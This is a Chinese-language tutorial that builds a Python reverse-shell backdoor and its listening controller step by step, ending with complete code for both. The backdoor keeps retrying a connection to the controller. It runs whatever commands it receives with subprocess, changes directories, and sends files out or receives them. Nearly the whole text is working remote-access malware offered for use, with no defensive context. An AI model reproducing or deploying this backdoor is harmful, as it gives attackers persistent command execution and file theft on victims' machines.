
一、服务器连接后门
(1) 使用 socket
Socket通信通常采用客户端/服务器(Client/Server)模型 。
服务器端(接电话的人):
- 创建Socket -> 买一部电话机
- 绑定(Bind) -> 为电话机分配一个电话号码和分机号(IP和端口)
- 监听(Listen) -> 把电话设为响铃模式,等待来电
- 接受连接(Accept) -> 接听电话,建立一个专属的通道
客户端(打电话的人): - 创建Socket -> 买一部电话机
- 连接(Connect) -> 拨打服务器的电话号码和分机号(IP和端口)
- 连接成功后 -> 双方通过这个建立的连接进行发送(Send) 和接收(Recv) 数据
(2)Server 服务端代码实现
创建一个TCP服务器Socket 并绑定到本地地址和端口
python
import socket
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('10.0.2.15', 5555))
执行监听,并设置最多 5 个不同的会话
python
print('[+] Listening For Incoming Connections')
sock.listen(5)
Accept 方法只是接受传入的连接并存储目标的 Socket 对象
python
target, ip = sock.accept()
如果与目标完成连接输出
python
print('[+] Accepted Connected From: ' + str(ip))
(3)BackDoor后门代码实现
先尝试连接服务器,进行判断是否连接成功,如果成功进入 shell,如果失败再次执行函数,设置时间每隔 20 秒尝试一次重连
python
import socket
import time
def connection():
while True:
time.sleep(20)
try:
s.connect(('10.0.2.15', 5555))
shell()
s.close()
break
except:
connection()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection()
二、指令处理
(1) Server
无限循环,保持持续控制
python
Def target_communication ():
While True:
显示提示符,包含被控主机的 IP 地址
python
Command = input ('* Shell~%s: ' % str (ip))
将命令发送给被控主机
python
reliable_send(command)
如果输入'quit'则退出循环
python
if command == 'quit':
break
else:
接收被控主机返回的命令执行结果
python
result = reliable_recv()
print(result)
完整函数
python
def target_communication():
while True:
command = input('* Shell~%s: ' % str(ip))
reliable_send(command)
if command == 'quit':
break
else:
result = reliable_recv()
print(result)
(2)BackDoor
定义 shell 函数,首先接收来自控制端命令
python
command = reliable_recv()
如果收到'quit'命令则退出循环, 否则就继续执行后续命令
python
if command == 'quit':
break
else:
#继续执行其他命令
三、发送接收数据
Json 库可以更好的解析数据所以需要引入
python
import json
(1)服务端发送数据函数
创建函数reliable_send
python
def reliable_send(data):
将数据转换为 JSON 字符串,并且进行编码发送
python
jsondata = json.dumps(data)
target.send(jsondata.encode('utf-8'))
(2) 服务端接收数据函数
初始化一个空字符串来累积数据,并且无限循环直到成功解析 JSON
python
def reliable_recv():
data = ''
while True:
接收最多1024字节数据,进行解码并且移除末尾空白字符
python
data = data + target.recv(1024).decode('utf-8').rstrip()
将累积的数据解析为 JSON,成功返回结果,失败继续循环
python
return json.loads(data)
except ValueError:
continue
BackDoor 同理
四、命令执行
引入 subprocess 库, subprocess 是 Python 中用于创建和管理子进程的标准库,用于执行外部命令和程序
创建一个子进程用来执行命令
python
execute = subprocess.Popen(command,
shell=True,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE
)
将标准输出和标准错误合并在一起读取
python
result = execute.stdout.read() + execute.stderr.read()
由于 subprocess 返回的是字节串,需要解码为字符串
python
result = result.decode('utf-8')
将结果通过某个可靠的方式发送出去
python
reliable_send(result)
运行测试

五、修改目录
导入 os 库
(1) cd 命令
Backdoor:
只对比传入的前三个字符是否为 cd + 空格,并且从第三个[3:]开始执行
python
if command == 'quit':
break
elif command[:3] == 'cd ':
os.chdir(command[3:])
Server:
服务端不需要执行,所以 pass
python
elif command[:3] == 'cd ':
pass
(2) clear 命令
Server:
python
elif command == 'clear':
os.system('clear')
Backdoor:
python
elif command == 'clear':
pass
六、上传下载
服务器端的下载,就是客户端的上传
(1) Server下载函数
以二进制写入模式打开文件
python
f = open(file_name, 'wb')
设置socket超时为1秒,防止接收数据时无限等待
python
target.settimeout(1)
首次接收数据块(最大1024字节)
python
chunk = target.recv(1024)
循环接收数据直到无数据可接收,并将数据写入文件
python
while chunk:
f.write(chunk)
接收下一数据块,超时自动跳出
python
try:
chunk = target.recv(1024)
except socket.timeout as e:
break
恢复socket的超时设置为默认值,并关闭文件
python
target.settimeout(None)
f.close()
(2) Backdoor 上传函数
上传
python
elif command[:8] == 'download':
upload_file(command[9:])
函数定义
python
def upload_file(file_name):
f = open(file_name, 'rb')
s.send(f.read())
注:上述为服务端下载,上传只要 copy 一下,再更改一些名字就可以了
七、最终结果
Server
python
import socket
import json
import os
def reliable_send(data):
jsondata = json.dumps(data)
target.send(jsondata.encode())
def reliable_recv():
data = ''
while True:
try:
data = data + target.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def upload_file(file_name):
f = open(file_name, 'rb')
target.send(f.read())
def download_file(file_name):
f = open(file_name, 'wb')
target.settimeout(1)
chunk = target.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = target.recv(1024)
except socket.timeout as e:
break
target.settimeout(None)
f.close()
def target_communication():
while True:
command = input('* Shell~%s: ' % str(ip))
reliable_send(command)
if command == 'quit':
break
elif command == 'clear':
os.system('clear')
elif command[:3] == 'cd ':
pass
elif command[:8] == 'download':
download_file(command[9:])
elif command[:6] == 'upload':
upload_file(command[7:])
else:
result = reliable_recv()
print(result)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(('127.0.0.1', 5555))
print('[+] Listening For The Incoming Connections')
sock.listen(5)
target, ip = sock.accept()
print('[+] Target Connected From: ' + str(ip))
target_communication()
Backdoor
python
import socket
import time
import subprocess
import json
import os
def reliable_send(data):
jsondata = json.dumps(data)
s.send(jsondata.encode())
def reliable_recv():
data = ''
while True:
try:
data = data + s.recv(1024).decode().rstrip()
return json.loads(data)
except ValueError:
continue
def connection():
while True:
time.sleep(20)
try:
s.connect(('127.0.0.1',5555))
shell()
s.close()
break
except:
connection()
def upload_file(file_name):
f = open(file_name, 'rb')
s.send(f.read())
def download_file(file_name):
f = open(file_name, 'wb')
s.settimeout(1)
chunk = s.recv(1024)
while chunk:
f.write(chunk)
try:
chunk = s.recv(1024)
except socket.timeout as e:
break
s.settimeout(None)
f.close()
def shell():
while True:
command = reliable_recv()
if command == 'quit':
break
elif command == 'clear':
pass
elif command[:3] == 'cd ':
os.chdir(command[3:])
elif command[:8] == 'download':
upload_file(command[9:])
elif command[:6] == 'upload':
download_file(command[7:])
else:
execute = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
result = execute.stdout.read() + execute.stderr.read()
result = result.decode()
reliable_send(result)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection()